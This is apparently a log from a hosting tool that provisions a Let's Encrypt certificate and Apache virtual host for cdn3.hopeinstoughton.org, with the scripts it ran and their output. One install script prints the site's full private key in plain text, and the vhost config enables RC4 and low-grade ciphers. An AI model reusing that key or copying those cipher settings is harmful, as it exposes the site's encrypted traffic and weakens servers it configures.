MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 17:41:39: Establishing a connection
2026-01-03 17:41:40: Establishing a connection
2026-01-03 17:41:41: 

PUT: /tmp/pkp329594

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-03 17:41:42: 

chmod 755 /tmp/pkp329594; /tmp/pkp329594; rm /tmp/pkp329594

2026-01-03 17:41:42: 


1


2026-01-03 17:41:43: Establishing a connection
2026-01-03 17:41:44: 

PUT: /tmp/pkp303893

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > zStj0UIRjINYvhIrJAXBusIWEzJ0jJcRdbZ0qrHAZrQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
zStj0UIRjINYvhIrJAXBusIWEzJ0jJcRdbZ0qrHAZrQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 zStj0UIRjINYvhIrJAXBusIWEzJ0jJcRdbZ0qrHAZrQ


2026-01-03 17:41:45: 

chmod 755 /tmp/pkp303893; /tmp/pkp303893; rm /tmp/pkp303893

2026-01-03 17:41:45: 




2026-01-03 17:41:49: Establishing a connection
2026-01-03 17:41:50: 

PUT: /tmp/pkp201368

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm zStj0UIRjINYvhIrJAXBusIWEzJ0jJcRdbZ0qrHAZrQ


2026-01-03 17:41:51: 

chmod 755 /tmp/pkp201368; /tmp/pkp201368; rm /tmp/pkp201368

2026-01-03 17:41:51: 




2026-01-03 17:41:51: Establishing a connection
2026-01-03 17:41:52: 

PUT: /tmp/pkp676939

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0

cat > $temp_file <<'endmsg'
3b:c8:63:ac:39:11:d9:7c:8a:7e:ad:4e:8a:ae:bc:a0

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBi0g2VD5GyDr9y9SVhC04VnjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY0MzE4WhcNMjYwNDAzMTY0MzE3WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC5/LSx+/4+d31uAh2xj8Co0jfhji1celcy3XLxsOsBhP8IJjIC
f6Du/F14BSxNEWv91V6kcchAf0bMcHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZL
rb/8u6WvfG6mg7fA7h1sW4KNXap3EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xo
y9e/bYjNhOc/vUdefBnj2O8g5HK3uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hq
MkS/TxfzKXTJCX49RgPabldHdJgkuTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn
3ixj/MX2t33HIK9Eb0vCCPqvswb89PkKaSrzAgMBAAGjggIrMIICJzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFJ3ThHgMWEqvWKDVoOkkUMo4M+hOMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAwLmNybDCCAQYGCisGAQQB
1nkCBAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABm4TzfqUAAAQDAEgwRgIhAN963DUoWLlCIWLfxz8dtg+L9wlBBXdMl/nYyvjD
mRAXAiEA6F///rJtTn5gIQ6IZVgM44LV47UzUCPkc4urzi1Ets0AdwDRbqmlaAd+
ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuE83+CAAAEAwBIMEYCIQCYtRgJ
AzbuggCVOTGZtOyqu+8fjvVW8ZJjjRqIDBoVNwIhANS52JOpp2gbe/2NrKUfYSA8
85kwCWjOCaqXcrH5uRgbMA0GCSqGSIb3DQEBCwUAA4IBAQCChjjDbzWAjhfeRb7C
ks5czbkzBTajsTHhA8jFUz9d1JPWgnjxkeA34sHQoLzySpmk/EGt7drJUIrGuoT8
plWk2L4GKgoYD4pWnnD1J21hSIuwSO35bJUF243HOlr0ftTeMVFQu3d8HCjvpbfg
rF04fFeVOJYroSGUECUUrSu9kqwTyNxNJRIHETTVFRBCE4jq5hvA5eV2Zsnt2vnF
dSuyg4XcS7JaBaWdgve7jFvHfKMMB0Fkfn4xXo4UoWrPmbEHI6+99wySpAnzxRo3
SULnadl235/bOCKU+RJh3mga41OfpVgWIbLA3y6t/In8FWjhoT/XyUEEoZ/aIvLV
qJJ7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5/LSx+/4+d31u
Ah2xj8Co0jfhji1celcy3XLxsOsBhP8IJjICf6Du/F14BSxNEWv91V6kcchAf0bM
cHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZLrb/8u6WvfG6mg7fA7h1sW4KNXap3
EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xoy9e/bYjNhOc/vUdefBnj2O8g5HK3
uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hqMkS/TxfzKXTJCX49RgPabldHdJgk
uTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn3ixj/MX2t33HIK9Eb0vCCPqvswb8
9PkKaSrzAgMBAAECggEAB3EB0SiUzMQJe+LQHwAc7xmbdxtcsO62LsinJjN0G6yf
avXi71r9l0JNV8Ar5xjThNBKMp3Y1iJ23zbVcJZQWSLxRSduXZeScWVWTElj50+L
H0rM5iSZYg/R+m+p77X6dAOISthtz0vYRl5XYr/JKY/FO9W92RzKB/WrN7bObKeO
p/LK79xhW1yZ/PE7E01AKNF3qCulZArW1FSN2KSgvcp5b4PZWNE9GfmLOq2Y4oAG
xHi0zTLwV09t8Ocnq7NmR6b1akgilSCjxJbIsLFEAriM6MiGy9j5QM54Mi7Ioy8c
wH0rXLa8Ccz760LSKtwA7LFiUUYF0b6MBka+6sVp/QKBgQDfzB+bIKrUNVdRGjZ5
0v+KvUraVh91SV6PRfeXrvsDcpmX2atBtTiuemQaSfowb+id/lsLdztLVkbz/sdN
qhm8jYeoRKDZwoZqtGNBsJx9ItAPsjbyt7Ulp0milgHw2GZv3WC6fzeW9GAwv18v
pgjulctQitrQG2sZPFZP6MLC/QKBgQDUv8q6TuAFNUBHI0gtbPg8nWODcPWcCuLT
43aNL8C58JgUeiJ3bkZCMSItgVLKWAbZJJaIAGoClFH47sr7rHWf1i+qhwXzEltr
ImgFKLJTcpc4wcDJxjgHKZ7vpqfhLkabgm++cIM7zxc/r3RIbtJLWGM4N+lxTUCl
NwSAZvNgrwKBgQDDcM61OZ0V/5NGh37FewehkNfavtVwJufGdVLZC324sA8ENppB
otJiRQ5AixRL0p8xwtydsb19eFY0ZO6Gm6MoL+0lfPF/2kpqyyfXSTYQbiOHYZps
8xPmUyaSLzB4tXMYBBuiItFYKggK6kVlJjmsqfJJX0nh7d/kxPWXiWz0vQKBgBI4
nvdX/A3WIrw1BGCHnbcrT7OZQB/uOsElESlEdsA2IABY+Yy7EB9pL+Ev21RjN6rv
XEknp+yyoVattQrbGXPoF0sGp3bLErNZTglrE+LbxKHizk05weCzKt6hqm051mhJ
QqLP5h2APiCBOXdernovhsfw2fiPQkMkNCl/J8cXAoGAa03guXFKP9HgRAUUEhP8
A4abtoazS96Z3ccT4lhyH6J+9MHI6+fTyL1yzVL++yOy4Fdau0hCoj2NrsOoPPCB
vTlX2Vb8sv7WQq8gKnq8Zu8fJ3DHxgdGIjNV6Up9upe31rEaIHNzQlHR4MYjxN6S
Zs8yfR5s+lG+0PBITRbL/fI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-03 17:41:53: 

chmod 755 /tmp/pkp676939; /tmp/pkp676939; rm /tmp/pkp676939

2026-01-03 17:41:53: 


dir=/etc/ssl/certs


2026-01-03 17:41:54: 

PUT: /tmp/pkp707917

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-03 17:41:54: 

chmod 755 /tmp/pkp707917; /tmp/pkp707917; rm /tmp/pkp707917

2026-01-03 17:41:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 48

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2026-01-03 17:41:54: 

PUT: /tmp/pkp265477

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf= 1'
fi


2026-01-03 17:41:55: 

chmod 755 /tmp/pkp265477; /tmp/pkp265477; rm /tmp/pkp265477

2026-01-03 17:41:55: 




2026-01-03 17:41:55: 

PUT: /tmp/pkp871417

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-03 17:41:55: 

chmod 755 /tmp/pkp871417; /tmp/pkp871417; rm /tmp/pkp871417

2026-01-03 17:41:56: 


.


2026-01-03 17:41:56: Establishing a connection
2026-01-03 17:41:57: 

PUT: /tmp/pkp608220

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 17:41:58: 

chmod 755 /tmp/pkp608220; /tmp/pkp608220; rm /tmp/pkp608220

2026-01-03 17:41:58: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 17:41:58: 

PUT: /tmp/pkp410915

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 17:41:58: 

chmod 755 /tmp/pkp410915; /tmp/pkp410915; rm /tmp/pkp410915

2026-01-03 17:41:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf	1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2026-01-03 17:41:59: 

PUT: /tmp/pkp565079

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 17:41:59: 

chmod 755 /tmp/pkp565079; /tmp/pkp565079; rm /tmp/pkp565079

2026-01-03 17:41:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0	5377
3b:c8:63:ac:39:11:d9:7c:8a:7e:ad:4e:8a:ae:bc:a0

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBi0g2VD5GyDr9y9SVhC04VnjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY0MzE4WhcNMjYwNDAzMTY0MzE3WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC5/LSx+/4+d31uAh2xj8Co0jfhji1celcy3XLxsOsBhP8IJjIC
f6Du/F14BSxNEWv91V6kcchAf0bMcHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZL
rb/8u6WvfG6mg7fA7h1sW4KNXap3EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xo
y9e/bYjNhOc/vUdefBnj2O8g5HK3uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hq
MkS/TxfzKXTJCX49RgPabldHdJgkuTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn
3ixj/MX2t33HIK9Eb0vCCPqvswb89PkKaSrzAgMBAAGjggIrMIICJzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFJ3ThHgMWEqvWKDVoOkkUMo4M+hOMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
